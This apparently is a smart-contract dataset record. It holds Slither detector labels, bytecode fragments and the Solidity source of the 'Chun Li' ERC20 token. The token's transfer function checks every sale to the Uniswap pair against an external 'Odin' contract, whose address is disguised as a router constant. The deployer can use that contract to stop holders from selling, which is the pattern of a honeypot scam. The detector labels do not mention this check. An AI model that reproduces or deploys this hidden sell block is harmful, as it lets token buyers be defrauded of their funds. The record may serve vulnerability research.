600080831182906119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8919061230f565b60405180910390fd5b50600083856119d091906125ac565b9050809150509392505050565b60008060008060008060008060006119f88a60016009611be2565b9250925092506000611a086116db565b90506000806000611a1b8e878787611c78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611305565b905092915050565b6000808284611a9c9190612556565b905083811015611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890612391565b60405180910390fd5b8091505092915050565b6000611af56116db565b90506000611b0c8284611d0190919063ffffffff16565b9050611b6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bbd82600754611a4390919063ffffffff16565b600781905550611bd881600854611a8d90919063ffffffff16565b6008819055505050565b600080600080611c0e6064611c00888a611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c386064611c2a888b611d0190919063ffffffff16565b61170690919063ffffffff16565b90506000611c6182611c53858c611a4390919063ffffffff16565b611a4390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c918589611d0190919063ffffffff16565b90506000611ca88689611d0190919063ffffffff16565b90506000611cbf8789611d0190919063ffffffff16565b90506000611ce882611cda8587611a4390919063ffffffff16565b611a4390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d145760009050611d76565b60008284611d2291906125dd565b9050828482611d3191906125ac565b14611d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d68906123b1565b60405180910390fd5b809150505b92915050565b600081359050611d8b81612a7b565b92915050565b600081519050611da081612a7b565b92915050565b600081519050611db581612a92565b92915050565b600081359050611dca81612aa9565b92915050565b600081519050611ddf81612aa9565b92915050565b600060208284031215611dfb57611dfa6127c1565b5b6000611e0984828501611d7c565b91505092915050565b600060208284031215611e2857611e276127c1565b5b6000611e3684828501611d91565b91505092915050565b60008060408385031215611e5657611e556127c1565b5b6000611e6485828601611d7c565b9250506020611e7585828601611d7c565b9150509250929050565b600080600060608486031215611e9857611e976127c1565b5b6000611ea686828701611d7c565b9350506020611eb786828701611d7c565b9250506040611ec886828701611dbb565b9150509250925092565b60008060408385031215611ee957611ee86127c1565b5b6000611ef785828601611d7c565b9250506020611f0885828601611dbb565b9150509250929050565b600060208284031215611f2857611f276127c1565b5b6000611f3684828501611da6565b91505092915050565b600060208284031215611f5557611f546127c1565b5b6000611f6384828501611dd0565b91505092915050565b600080600060608486031215611f8557611f846127c1565b5b6000611f9386828701611dd0565b9350506020611fa486828701611dd0565b9250506040611fb586828701611dd0565b9150509250925092565b6000611fcb8383611fd7565b60208301905092915050565b611fe08161266b565b82525050565b611fef8161266b565b82525050565b600061200082612511565b61200a8185612534565b935061201583612501565b8060005b8381101561204657815161202d8882611fbf565b975061203883612527565b925050600181019050612019565b5085935050505092915050565b61205c8161267d565b82525050565b61206b816126c0565b82525050565b600061207c8261251c565b6120868185612545565b93506120968185602086016126d2565b61209f816127c6565b840191505092915050565b60006120b7602383612545565b91506120c2826127d7565b604082019050919050565b60006120da602a83612545565b91506120e582612826565b604082019050919050565b60006120fd602283612545565b915061210882612875565b604082019050919050565b6000612120601b83612545565b915061212b826128c4565b602082019050919050565b6000612143602183612545565b915061214e826128ed565b604082019050919050565b6000612166602083612545565b91506121718261293c565b602082019050919050565b6000612189602983612545565b915061219482612965565b604082019050919050565b60006121ac602583612545565b91506121b7826129b4565b604082019050919050565b60006121cf602483612545565b91506121da82612a03565b604082019050919050565b60006121f2601783612545565b91506121fd82612a52565b602082019050919050565b612211816126a9565b82525050565b612220816126b3565b82525050565b600060208201905061223b6000830184611fe6565b92915050565b60006040820190506122566000830185611fe6565b6122636020830184611fe6565b9392505050565b600060408201905061227f6000830185611fe6565b61228c6020830184612208565b9392505050565b600060c0820190506122a86000830189611fe6565b6122b56020830188612208565b6122c26040830187612062565b6122cf6060830186612062565b6122dc6080830185611fe6565b6122e960a0830184612208565b979650505050505050565b60006020820190506123096000830184612053565b92915050565b600060208201905081810360008301526123298184612071565b905092915050565b6000602082019050818103600083015261234a816120aa565b9050919050565b6000602082019050818103600083015261236a816120cd565b9050919050565b6000602082019050818103600083015261238a816120f0565b9050919050565b600060208201905081810360008301526123aa81612113565b9050919050565b600060208201905081810360008301526123ca81612136565b9050919050565b600060208201905081810360008301526123ea81612159565b9050919050565b6000602082019050818103600083015261240a8161217c565b9050919050565b6000602082019050818103600083015261242a8161219f565b9050919050565b6000602082019050818103600083015261244a816121c2565b9050919050565b6000602082019050818103600083015261246a816121e5565b9050919050565b60006020820190506124866000830184612208565b92915050565b600060a0820190506124a16000830188612208565b6124ae6020830187612062565b81810360408301526124c08186611ff5565b90506124cf6060830185611fe6565b6124dc6080830184612208565b9695505050505050565b60006020820190506124fb6000830184612217565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612561826126a9565b915061256c836126a9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125a1576125a0612705565b5b828201905092915050565b60006125b7826126a9565b91506125c2836126a9565b9250826125d2576125d1612734565b5b828204905092915050565b60006125e8826126a9565b91506125f3836126a9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262c5761262b612705565b5b828202905092915050565b6000612642826126a9565b915061264d836126a9565b9250828210156126605761265f612705565b5b828203905092915050565b600061267682612689565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126cb826126a9565b9050919050565b60005b838110156126f05780820151818401526020810190506126d5565b838111156126ff576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a848161266b565b8114612a8f57600080fd5b50565b612a9b8161267d565b8114612aa657600080fd5b50565b612ab2816126a9565b8114612abd57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204305345a82b5a2073637bfd5966e654be32140af90347899c58a037a7c42058d64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,527
0xf8291Db414489A596536183258a578E483909586
//SPDX-License-Identifier: MIT // Telegram: t.me/ChunLiToken pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet uint256 constant TOTAL_SUPPLY=100000000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Chun Li"; string constant TOKEN_SYMBOL="CHUNLI"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ChunLi is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ed2565b61038e565b60405161014c91906122f4565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190612471565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7f565b6103bc565b6040516101b491906122f4565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df91906124e6565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de5565b610518565b6040516102339190612471565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b6040516102759190612226565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a0919061230f565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ed2565b610722565b6040516102dd91906122f4565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3f565b610c71565b6040516103319190612471565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600781526020017f4368756e204c6900000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b6000678ac7230489e80000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612ac160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113059092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b905061051581611369565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f1565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f5906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4348554e4c490000000000000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906123d1565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612451565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611e12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611e12565b6040518363ffffffff1660e01b81526004016109e9929190612241565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611e12565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af196959493929190612293565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611f6c565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b92919061226a565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611f12565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d678161165f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990612431565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990612371565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f309190612471565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612411565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612331565b60405180910390fd5b60008111611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906123f1565b60405180910390fd5b73690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ad9190612226565b60206040518083038186803b1580156110c557600080fd5b505afa1580156110d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fd9190611f3f565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a85750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b35760006111b5565b815b11156111c057600080fd5b6111c86106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123657506112066106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f557600061124630610518565b9050600b60159054906101000a900460ff161580156112b35750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112cb5750600b60169054906101000a900460ff165b156112f3576112d981611369565b600047905060008111156112f1576112f04761165f565b5b505b505b6113008383836116cb565b505050565b600083831115829061134d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611344919061230f565b60405180910390fd5b506000838561135c9190612637565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a1576113a0612792565b5b6040519080825280602002602001820160405280156113cf5781602001602082028036833780820191505090505b50905030816000815181106113e7576113e6612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148957600080fd5b505afa15801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c19190611e12565b816001815181106114d5576114d4612763565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115a095949392919061248c565b600060405180830381600087803b1580156115ba57600080fd5b505af11580156115ce573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162f90612351565b60405180910390fd5b60006116426116db565b9050611657818461170690919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c7573d6000803e3d6000fd5b5050565b6116d6838383611750565b505050565b60008060006116e861191b565b915091506116ff818361170690919063ffffffff16565b9250505090565b600061174883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197a565b905092915050565b600080600080600080611762876119dd565b9550955095509550955095506117c086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a181611aeb565b6118ab8483611ba8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119089190612471565b60405180910390a3505050505050505050565b600080600060075490506000678ac7230489e80000905061194f678ac7230489e8000060075461170690919063ffffffff16565b82101561196d57600754678ac7230489e80000935093505050611976565b81819350935050505b9091565b600080831182906119c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b8919061230f565b60405180910390fd5b50600083856119d091906125ac565b9050809150509392505050565b60008060008060008060008060006119f88a60016009611be2565b9250925092506000611a086116db565b90506000806000611a1b8e878787611c78565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611305565b905092915050565b6000808284611a9c9190612556565b905083811015611ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad890612391565b60405180910390fd5b8091505092915050565b6000611af56116db565b90506000611b0c8284611d0190919063ffffffff16565b9050611b6081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bbd82600754611a4390919063ffffffff16565b600781905550611bd881600854611a8d90919063ffffffff16565b6008819055505050565b600080600080611c0e6064611c00888a611d0190919063f